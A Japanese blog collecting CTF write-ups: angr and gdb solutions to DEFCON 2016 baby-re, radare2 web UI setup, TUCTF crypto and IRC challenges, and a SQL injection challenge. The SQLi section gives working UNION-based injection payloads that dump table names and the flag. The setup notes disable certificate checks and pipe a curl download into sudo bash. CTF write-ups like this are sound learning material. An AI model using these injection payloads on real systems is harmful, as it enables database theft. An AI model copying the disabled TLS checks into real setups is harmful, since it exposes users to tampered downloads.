saotake’s blog

-竿竹-

angr on PythonをCTFに使う

Defcon2016のbaby-re、write-upを見ていると、私のように真面目に連立方程式を解いているパターンの他に、angrというフレームワークを使って自動解析して解いているパターンが多く見受けられました。そこで、angrの勉強をしてみました。

 

angr公式:

angr, a binary analysis framework

 

angrインストール方法:

https://github.com/angr/angr-doc/blob/master/INSTALL.md

 

□angrとは?

angr is a framework for analyzing binaries. It focuses on both static and dynamic symbolic ("concolic") analysis, making it applicable to a variety of tasks.(公式より)

 angrはバイナリ解析のフレームワークです。静的解析と動的解析の両方に対応しており、いろいろな用途に適用できます。

 

□CTFへのangrの適用

プログラムを実行したときに、特定の条件を満たす(FLAGが表示される)ような入力を探すとき、ブルートフォースとは違い、アセンブリの構造を解析してあるアドレスに到達するメモリ状態を調査してくれるため、ブルートフォースとは比較にならないくらいなようです。

 

□angrのインストール( on Ubuntu)

インストール方法に書いてることをまとめると、以下の通りとなります。私の環境ではこれでうまくいきましたが、CTF用のPCはあまりメンテされていないことが多いので、事前に、apt-get install --upgradeをしておくとよいと思います。

 

$ sudo apt-get install python-dev libffi-dev build-essential virtualenvwrapper

$ mkvirtualenv angr

(angr)$ pip install angr 

 

□angrの実行方法

 

まずはコマンドラインで使ってみて、動くことを確認しましょう。

$ mkvirtualenv angr

(angr)$ python

 >>> import angr
>>> p = angr.Project('./baby-re')
>>> a = p.surveyors.Explorer(find=0x40294b,avoid=0x402941).run()
>>> a.found[0].state.posix.dumps(1)
'Var[0]: Var[1]: Var[2]: Var[3]: Var[4]: Var[5]: Var[6]: Var[7]: Var[8]: Var[9]: Var[10]: Var[11]: Var[12]: The flag is: Math is hard!\n'
>>>

 解けました。解けてしまいました。

私は6時間かけて解いたのですが、angrなら4行3分で解けました。これはすごい。

 

□angrの簡単な解説

上記の例でいうと、angrに解析の条件として渡しているのは、以下の二つだけです。

find=0x40294b

↑プログラムが0x40294b(flagを表示しているあたりのアドレス)に到達するような条件を検索するよう指定。

 

avoid=0x402941

 ↑プログラムが0x402941(Wrongと表示されるあたりのアドレス)は通らないよう指定。

 

これにより、「Wrongと表示しないようにしながら、Flagを表示するような条件を探せ」という解析になります。

 

なお、Writeupによってはメモリ表示でflagを表示しているところもありますが、findの検索条件をきちんとflag表示部分に指定すれば、dump(画面出力)でOKです。(逆に、findの条件をflagを表示するよりも前にしてしまうと、dumpにflagが表示されず、メモリを表示させるしかありません)

 

□angrだとどれくらい早いか?

実行するPCにもよりますが、私のUbuntuOnVMware(ksスペック)でもかなり早いです。

  • angrを使わない、単純なブルートフォースの場合
    そもそも入力が何桁の数字なのか、符号付なのか、最大何ビットなのか、という条件がわからないので、あたりを付けるところから始めなければなりません。仮に、asciiコード(32~126の間)だと目星がついていたとしても、およそ、100の13乗/2の回数の計算が必要になります。仮に1回0.01秒だとして、
    ( (100^13) /2)回 * 0.01 秒/回 = 1京年以上
    くらいの時間がかかります。(間違ってたらすみません)

  • angrだと?(findとavoidを指定)
    上で紹介したプログラムだと、私のPCでも3分程度で解けました。

  • angrをうまく使う(find,avoid以外にもいろいろ指定)
    angrは、find,avoid以外にもいろいろ指定できます。こちらのwriteupでは、解析開始アドレス、BasePointerアドレス、スタックアドレス、入力アドレスなどを事前に調査して指定してやることで、解析をより高速にしています。
    このコードの場合、10秒程度で解けてしまいます。

 

 

 

 

 

 

 

 

 

 

 

 

 

radare2とradare2-webuiのインストール

defcon2016qの他の人のwriteupを読んでいたら、どうも私のradare2となんか出力(?)が違う。そういえば大分前にインストールしてから一度もアップデートしてないなぁ、と思い、アップデートしてみました。

 

まずはradare2のホームページにあるコマンドで、radare2本体をインストール。

git clone https://github.com/radare/radare2
cd radare2
sys/install.sh

何事もなく無事終了。起動してみると・・・? 

 > r2 baby-re

>V

>V

 

f:id:saotake:20160527220032p:plain

あれ?WebUIじゃなくなってる・・・?

ホームページのスクリーンショットもグラフ画面はenyoというWebUIになってるし、なんで?

前回はなんか別にWebUIをインストールしたような気がするので、以下を追加でインストールしてみました。

公式サイト様のインストール方法:

radare2-webui/README.md at master · radare/radare2-webui · GitHub

 

これに従って、まず一つ目のコマンドから実行。

$ r2pm -i www-enyo
~中略~

make[1]: npm: Command not found
make[1]: *** [build] Error 127
~中略~

make: *** [enyo] Error 2
$

何かエラーがでて止まってしまいました。npmが見つからないというエラーのようなので、npmを先にインストールしてからリトライ。

$ sudo apt-get install npm

$ r2pm -i www-enyo

~中略~

npm ERR! Error: CERT_NOT_YET_VALID

~中略~

$

違うエラーがでました。CERT_NOT_YET_VALIDとのことなので、電子署名(証明書)の検証に失敗している模様。面倒なので証明書の検証を無視するよう設定してからリトライ。(私はrpmSSL無効にしています)

$ npm config set strict-ssl false

$ r2pm -i www-enyo

~中略~

/usr/bin/env: node: No such file or directory

~中略~

$

 

またまた今度は違うエラーが発生。パッと見てなんのことかわからなかったけど、どうも今度はnodeがインストールされていないためエラーになっている模様。nodeをインストールしてリトライ。

$ sudo apt-get install node

$ r2pm -i www-enyo

~中略~

make -C www/enyo build
make[1]: Entering directory `/home/XXX/.config/radare2/r2pm/git/radare2-webui/www/enyo'
npm install
/home/XXX/.config/radare2/r2pm/git/radare2-webui/www/enyo/node_modules/.bin/gulp
make[1]: *** [build] Error 1
make[1]: Leaving directory `/home/XXX/.config/radare2/r2pm/git/radare2-webui/www/enyo'
make: *** [enyo] Error 2
$

 うーん、この出力だけでは意味不明。nodeのインストールの仕方が悪かったのかな?と思い、nodeではなくnodejsを再インストール。

$ sudo apt-get remove node

$ curl -sL https://deb.nodesource.com/setup | sudo bash -
$ sudo apt-get install -y nodejs
$ sudo apt-get update

$ r2pm -i www-enyo

$ r2pm -i www-p

$ r2pm -i www-t

$ r2pm -i www-m

~中略~

request.name = path.posix.join(options.fontsDir, request.name);
^
TypeError: Cannot call method 'join' of undefined
make[1]: *** [build] Error 8
make: *** [material] Error 2

$

www-enyo、www-p、www-tは成功し、かなり進みました。

しかし、www-mだけエラーが出てしまいます。このエラーは、radare2-webuiのインストール方法のところのtroubleshootに書いてあり、まだnodeがうまくいっていない模様。nodeのバージョンをあげるため、stroubleshootに書いてあった以下のコマンドを実行。

sudo npm cache clean -f
sudo npm install -g n
sudo n stable

 これすらエラーになりました。もうわけわかんない。

先ほどから証明書関係のエラーが出ていましたが、どうもn stableの失敗も、内部のcurl呼び出しで証明書関係エラーが出てるっぽい。最初から証明書無視とかするから泥沼にはまるんですよね。ググってみると、heartbleedのせいで一部のサイトがデフォルトではつながらなくなっていて、証明書無視コマンドをつけなければいけないとのこと。しょうがないので、n stableではなくて手動でダウンロードしてインストール。

$ wget https://nodejs.org/dist/node-latest.tar.gz --no-check-certificate

$ tar xvzf node-latest.tar.gz

$ cd node-vXXXX

$ ./configure

$ make

$ sudo make install

 

$ r2pm -i www-enyo

$ r2pm -i www-p

$ r2pm -i www-t

$ r2pm -i www-m

 

今度はうまくいきました。

Windowsは便利だなぁ(白目) 

 

起動方法はこちら

r2 -c=H baby-re

 http://localhost:9090/p/

f:id:saotake:20160528011731p:plain

p(desktop)形式はちょっとわかりづらいです。完成度が低いイメージ。

他にも、enyo(mobile),m(responsive),t(legacy)などがあります。

私が使ってたのはenyoでした。4つのモードの中では無難。

 http://localhost:9090/enyo/

f:id:saotake:20160528012815p:plain

 

mも無難そうではありますが、CTF目的では、enyoよりは使いづらそう。

http://localhost:9090/m/

 

f:id:saotake:20160528013231p:plain

 

tは、これ使うくらいならプロンプト上でviewモードでいいんじゃないでしょうか。

http://localhost:9090/t/

f:id:saotake:20160528013424p:plain

 

無難そうなenyoでさえ、hopperには遠くおよばない感じですので、

プロンプトのviewモードを覚えようと思います。

 

f:id:saotake:20160528013946p:plain

 

 

 

 

(DEFCON2016Qual) baby:re

バイナリが渡されてそれを解析する問題。

バイナリを実行すると、var0~var12の13個の数字の入力を求められる。適当に入力すると、「Wrong」と表示されてプログラムが終了。正しい13個の数字を解析して見つけるのが問題の趣旨。

> ./baby-re
Var[0]: 1
Var[1]: 2
Var[2]: 3
Var[3]: 4
Var[4]: 5
Var[5]: 6
Var[6]: 7
Var[7]: 8
Var[8]: 1
Var[9]: 2
Var[10]: 3
Var[11]: 4
Var[12]: 5
Wrong
> 

 

バイナリ系の問題はツールが重要(だと思っているの)ですが、

最近の流行通り、64bitELFなので、IDA Pro(フリー版)が使えません。

30分で解けるならhopperトライアル版がおすすめですが、

30分では解けそうにないので、radare2を使用しました。

IDAのようなグラフ表示GUIも備えていて、

TUCTFのIRCでは、「IDAよりすごい」という話になっていました。

 

公式サイト様:radare

 

詳細な使い方は述べませんが、以下のように今回は使いました。

 

■起動する

> r2 baby-re

 

■解析をさせる(画面上は変化なし)

[0x004005d0]> aa
[0x004005d0]> 

 

■コードを表示する(VIみたいにプロンプト上でグラフィカル操作するモード)

[0x004005d0]> V

[0x004005d0 752 baby-re]> x @ entry0
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x004005d0 31ed 4989 d15e 4889 e248 83e4 f050 5449 1.I..^H..H...PTI
0x004005e0 c7c0 f029 4000 48c7 c180 2940 0048 c7c7 ...)@.H...)@.H..
0x004005f0 e725 4000 e897 ffff fff4 660f 1f44 0000 .%@.......f..D..
0x00400600 b85f 3060 0055 482d 5830 6000 4883 f80e ._0`.UH-X0`.H...
0x00400610 4889 e576 1bb8 0000 0000 4885 c074 115d H..v......H..t.]
0x00400620 bf58 3060 00ff e066 0f1f 8400 0000 0000 .X0`...f........
0x00400630 5dc3 0f1f 4000 662e 0f1f 8400 0000 000

 

 

GUI(ローカルWebサーバ)を起動(もう一回Vを押します)

[0x004005d0]> V

※最新のradare2-webuiだと、起動方法が異なるようです。

f:id:saotake:20160521230723p:plain

 

スクリーンショットではわかりませんが、

ブラウザ上とは思えないくらいとても高機能です。

 

 

さて、肝心な問題の中身ですが、radare2でmain関数(sym.main)を追うと、

「sym.CheckSolution」という関数で入力値のチェックを行っていることがわかります。

 

■Radare2(Web)での操作

・「]」ボタンを押すか、マウスで左へスワイプ(?)して、「ListElements」画面を表示。

・functionsを選択して、sym.main関数へ飛ぶ

・上から順番に見る。

※トップメニューの「Graph-Basicblocks」を選択すれば、IDAのようなグラフビューにもできます。

 

f:id:saotake:20160521231412p:plain

 

0x004028e0でsym.CheckSolution()を呼び出した後、0以外の場合、

0x0040292cでフラグの表示を行っていることがわかります。

(なお、デバッガで強制的にフラグ表示部分にjumpしても、フラグは得られません)

 

次に、CheckSolution()の中身を見ていきます。

■Radare2(Web)での操作

・「]」ボタンを押すか、マウスで左へスワイプ(?)して、「ListElements」画面を表示。

・functionsを選択して、sym.CheckSolution()関数へ飛ぶ

 

慣れていないのですごく悩みましたが、

CUIでユーザが入力した値Var0~Var12は、(rbp-0x2b8)以降に書かれているアドレスの場所に保存されています。

逆に、(rbp-0x00)~(rbp-0x2b0)のアドレスは、CheckSolution()のローカル変数です。また、計算後の値は毎回同じなので、「定数」と考えてよいです。

CheckSolutionの前半部分は、やたら面倒な計算が続きますが、すべてこのローカル変数の初期化(難読化)ですので、いったん飛ばすことにします。

肝心なユーザ入力値(rbp-0x2b8)が参照されるのは、CheckSolution()の後半の、0x0040155eからです。

f:id:saotake:20160521232039p:plain

ここからは同じような計算式がずっと続いていて、以下のような等式を評価しています。

ローカル変数00*ユーザ入力値0 + ローカル変数01*ユーザ入力値1 + ・・・=定数1

ローカル変数10*ユーザ入力値0 + ローカル変数11*ユーザ入力値1 + ・・・=定数2

・・・(合計13個の式を評価)

13このユーザ入力(Var0~Var12)に対して、ローカル変数(毎回同じ値になるので定数と見なせる)が13×13個(左辺)、定数が13個(右辺)で、式が13個です。

すでに忘れかけた高校数学の知識によると、これは13元の連立方程式です。連立方程式は以下の式で解けますから、ローカル変数さえ決まれば、式を満たすユーザ入力値は簡単に計算できます。(近似逆行列とか難しい話は忘れました)

AX=B (A,Bは定数、Xが未知)

ならば、

X=inv(A)*B

 ここで、ローカル変数A,Bは、CheckSolution()の前半で複雑に計算されており、コードを追うのはすごく厳しいですが、毎回同じ計算結果になるので、デバッガを使ってローカル変数初期化完了後にメモリの値をみてやればいいです。具体的には、前述のユーザ入力値の参照が行われる0x0040155e付近で止めればOKです。

ついでにgdbの使い方の復習。調べたいローカル変数のアドレスは、[rbp-0x10]~[rbp-0x2b0]です。

 

■起動

> gdb baby-re

 (gdb

 

■ブレイクポイント設置

(gdb) b *0x0040155e

Breakpoint 1 at 0x40155e

 

■デバッガモードでプログラム起動

(gdb) r
Starting program: /home/user/Desktop/baby-re
Var[0]: 1
Var[1]: 2
Var[2]: 1
Var[3]: 2
Var[4]: 1
Var[5]: 2
Var[6]: 1
Var[7]: 2
Var[8]: 1
Var[9]: 2
Var[10]: 1
Var[11]: 2
Var[12]: 1

Breakpoint 1, 0x000000000040155e in CheckSolution ()

 

■メモリ内のローカル変数の情報を見る

(gdb) x $rbp-0x2b0
0x7fffffffdc00: 0x0000926d
(gdb) x $rbp-0x2ac
0x7fffffffdc04: 0x00005475
(gdb) x $rbp-0x10
0x7fffffffdea0: 0x00001c92
(gdb

 

これでローカル変数A,Bの値も調べられましたので、後は、

AX=B

X=inv(A)*B

 を満たすXを計算して、見つけてやるだけです。逆行列inv(A)は、MatlabでもMathematicaでもエクセルでも簡単に計算できます。

 

なお、説明的には以上なのですが、実際にとこうとすると、「ローカル変数*入力値」の13*13=169項目が、それぞれプラスだったりマイナスだったりとバラバラになっていて、それがハードコーディングされています。なので、全項目についてプラスするのかマイナスするのかを、コードを読まなければダメです。実質これが一番面倒でした。

> /baby-re
Var[0]: 77
Var[1]: 97
Var[2]: 116
Var[3]: 104
Var[4]: 32
Var[5]: 105
Var[6]: 115
Var[7]: 32
Var[8]: 104
Var[9]: 97
Var[10]: 114
Var[11]: 100
Var[12]: 33
The flag is: Math is hard!

 

(TUCTF2016)The Neverending Crypto Level 2~(Crypto10~)

Level2以降は、似たようなものが続きます。アルゴリズムはたいして難しくないので手間と時間の戦いです。

pythonコードは汚いので紹介だけです。

 

■Level2(10)

abcz ! ABC encrypted is nop(-.-NOP

Level1とほぼ同じで、平文と暗号化の対応関係が変わっただけ。

abcdefg・・・

nopqrstu・・・

 今度はシーザー暗号のRot13。

正確には、アスキーコードで13足したうえで、126を超えた場合は、アスキーコードの32に戻る。

ENC = PLAIN +13

if(ENC > 126) ENC = ENC-126+31

また50問でした。

 

■Level3(10)

abc defghijklmnopqrst encrypted is abc sftdhuneimky;qprg

abc defghijklmnopqrst encrypted is abc sftdhuneimky;qprg

abc defghijklmnopqrst encrypted is axj e.uidchtnmbrl'poy

abc defghijklmnopqrst encrypted is abc sftdhuneimky;qprg

abc defghijklmnopqrst encrypted is axj e.uidchtnmbrl'poy

 

 

暗号パターンが2種類になります。Roundごとに、abcを入力して、その暗号結果でリストを切り開けて使えばOK。

Plain = "abcdefghijklmnopqrstuvwxyz "
Encパターン1 = "axje.uidchtnmbrl'poygk,qf; "
Encパターン2 = "abcsftdhuneimky;qprglvwxjz "

 

■Level4(10)

 abc encrypted is RST

abc encrypted is uvw

abc encrypted is FGH

 rot(n)の暗号。nの値が毎回変わるので、Roundの最初にaを入力して、何個rotされているかを調べてリストを作ってしまえばOK。

例:N=2の場合

Plain = abcdefg・・・

Enc = cdefghi・・・

 

■Level5(10)

abc encrypted is >=<

rot(n)のリバース。計算式さえ思いつけばLevel4の計算式をちょっといじるだけ。

Plain = abcdefg・・・

Enc =  jihgfed・・・・

こんな感じ

PlainOf('X') = ord('a') - (ord('X')) - ord(ENC('a')) )

 (nが固定なことには後で気づいた)

 

■Level6(50)

abc encrypted is quy

qrstuvwxyz encrypted is gikmoqsuwy

rot(n)した上でm文字飛ばし。n,mはroundごとに毎回変わるので暗号結果を見て計算。

 

■Level7(50)

土曜しか参加できなかったので時間切れ。ついに一対一の静的写像ではなくなった模様。

 

 

 

 

 

 

 

 

 

(TUCTF2016)The Neverending Crypto Level1(Crypto10)

ncでつないで問題を何回も解くタイプの問題。
お題は、以下の感じ。

xxx@ubuntu:~/py$ nc 146.148.102.236 24069
Welcome to The Neverending Crypto!
Quick, find Falkor and get through this!
This is level 1, the Bookstore
Round 1. Give me some text:abc
abc encrypted is .- -... -.-.
What is .-. . .- -.. .. -. --. .. ... -.. .- -. --. . .-. --- ..- .-. ... decrypted?
:XXXXXXXX
No... I am leaving.

平文と暗号文の対応関係が毎回変わると厄介なんだけど、
プログラムを何回起動しても同じ。
一回正解すると、まったく同じ内容で[Round2]が開始されるんだけど、
平文と暗号文の対応関係は変わらず。
なので、あらかじめ英数字がどのように暗号化されるかの対応表を作っておいて、
ハードコーディングしておきました。
Level2以降はこの辺が動的になるのかな?

ちなみに、時間制限ありで、50問連続正解が必要なので、
手動は無理でした。

import socket

def doattack():
chrstring = "0123456789abcdefghijklmnopqrstuvwxyz "
enclist = ["-----",".----","..---","...--","....-",".....","-....","--...","---..","----.",".-","-...","-.-.","-..",".","..-.","--.","....","..",".---","-.-",".-..","--","-.","---",".--.","--.-",".-.","...","-","..-","...-",".--","-..-","-.--","--..","SP"]

while True:
data = s.recv(2048)
print data
if(" Give me some text:" in data):
break

s.sendall("abc\n")

while True:
data = s.recv(2048)
print data
if(" encrypted is " in data):
break

qstring = data.split("\n")[1]
qstring = qstring.replace(" "," SP ")
print qstring
print qstring[8:len(qstring)-12]
qlist = qstring[8:len(qstring)-12].split(" ")
print qlist
ans = ""
for q in qlist:
ans += chrstring[enclist.index(q)]
print ans
print ans

s.sendall(ans + "\n")

#main
hostname = "146.148.102.236"
port = 24069
s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
s.connect*1

while True:
doattack()

※スペースだけは変換されずにスペースのままで、セパレータをスペースにするとめちゃくちゃになるので、
軽くエスケープしています。

*1:hostname,port

(TUCTF)I'm playing!(Misc10)

問題文は

Check out our fancy IRC!

 そういえば最近の子はIRCはあまり使わなさそうですね。大会ホームページにてアナウンスされている、公式チャットルームに接続するとトピックとして表示されていました。日本人はあまりこういうパブリック(?)な場に参加しないですよねぇ。

 09:46 *topic : vm_decryption_key: DescendIntoDarkness     A wild string appeared: "TUCTF{Just_A_Test_" + Flag from logo (in caps) + "}"

Flag From logoというのは、ホームページトップに表示されているロゴの中にあるフラグを探して入力しろ」という意味らしい。 

f:id:saotake:20160514100131p:plain

「ascii overflow」とか「TU CTF」とかを(大文字で)いれてみるだけかと思いきや、ascii overflowの下に書かれているモールス信号をデコードして入力するのが正解だった。わかりづらい。

モールス信号は「FLAG」を表しているので、

TUCTF{Just_A_Test_FLAG}

 先日のsuCTFといい、モールス信号がはやっている可能性が・・・?

 

(TUCTF2016)Student Grades(Web50)

以下のホームページに対するSQLインジェクションを行う問題

f:id:saotake:20160514092037p:plain

 

単純に「A' or 'A'='A」などの常套句を入れても検索NGになる。

HTMLソースに以下のヒントあり。

<form>
Enter name: <input type="text" id='info'>
<input id="submit" type="submit" value="Check my grades!" class="waves-effect waves-light btn">
</form>
<script>
document.getElementById('submit').addEventListener('click',
function(event){
event.preventDefault();
var input = document.getElementById('info');
//var query = 'SELECT * from Names where name=\'' + input.value + '\'';
var inp_str = input.value;
inp_str = inp_str.replace(/\W+/g, " ");
var md5_str = md5(inp_str);
var send_str = inp_str+' '+md5_str;
var post_data = {name: send_str, submit:1};
$.ajax({
type: "POST",
url: "/postQuery.php",
data: post_data,
success: function(data){document.getElementById('results').innerHTML=data;}
});
}
);
</script>
<table class=\"table\" id="results"><tr><th>Name</th><th>Grade</th></tr>
</table>

 例えば、Aという文字列で検索するときは、クエリーとしては、

a+md5(a)

というものが流れている。実際にburpで検索クエリのパケットを見てみると以下のとおり。(aで検索した場合。md5(a)=0cc175b9c0f1b6a831c399e269772661)

name=a+0cc175b9c0f1b6a831c399e269772661&submit=1

また、検索結果のページのソースには、以下の通り実行したSQLコマンドまで記述されている。

   <!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%a%';-->

なお、Webインターフェースはjavascriptサニタイズされている(?)ようなので、burpを使ってmd5の値を含めてクエリを直接作成することとした。(chromeの開発者モードでサニタイズ部分のscriptを削除してもよかったかも)

まず、検索結果の列数を探す。UNIONでNULLの数を増やしていくと、2個で成功。

    <!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%' union select  1,1;#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>boby tables</td><td>F-</td></tr> 

まず、検索に使われるtuctf_gradesテーブルの中にフラグが入っていないか確認するため、属性(列)の一覧を取得する。いろいろと試したところ、MySQL(?)のような気がしたので、information_schemaからテーブル名を取得。

name=' and '1'='0' UNION ALL (SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tuctf_grades');#+8418a4618fdb9a34f7fd439ec482d121&submit=1

 

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%' and '1'='0' UNION ALL (SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tuctf_grades');#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>tuctf_grades</td><td>name</td></tr>
<tr><td>tuctf_grades</td><td>grade</td></tr>

 

nameとgradeしか持っていないので、このテーブルの中にはフラグはなさそう。

次に、DBの中にある他のテーブルを調べてみる。

name=' and '1'='0' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);#+322ae80dc408c4cd641b18ee78131c3c&submit=1 

  <!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%' and '1'='0' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES);#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>information_schema</td><td>CHARACTER_SETS</td></tr>
<tr><td>information_schema</td><td>COLLATIONS</td></tr>
<tr><td>information_schema</td><td>COLLATION_CHARACTER_SET_APPLICABILITY</td></tr>
<tr><td>information_schema</td><td>COLUMNS</td></tr>
~中略~

<tr><td>tuctf</td><td>tuctf_grades</td></tr>
<tr><td>tuctf</td><td>tuctf_info</td></tr>
<tr><td>tuctf</td><td>tuctf_junk</td></tr>

tuctf.tuctf_infoかtuctf.tuctf_junkというテーブルが怪しそう。

tuctf.tuctf_infoの属性の一覧を取得。

name=' and '1'='0' UNION ALL (SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tuctf_info');#+44207a75d7ed96ab88ead07298cccfc1&submit=1

 

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%' and '1'='0' UNION ALL (SELECT TABLE_NAME,COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tuctf_info');#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>tuctf_info</td><td>item</td></tr>
<tr><td>tuctf_info</td><td>value</td></tr>

itemとvalueのペアの模様。一覧で表示してみる。

name=' and '1'='0' UNION ALL (SELECT item,value FROM tuctf_info);#+64061bf2600829cc2b4db0bf0c87c0f0&submit=1

 

  <!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%' and '1'='0' UNION ALL (SELECT item,value FROM tuctf_info);#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>flag</td><td>TUCTF{v4ccinate_y0ur_databa5e5}</td></tr>

というわけで無事にフラグをゲット

勉強のつもりで手でやってるけど、sqlmapをmd5対応させて攻撃させたほうが攻撃者目線では現実的ですかね?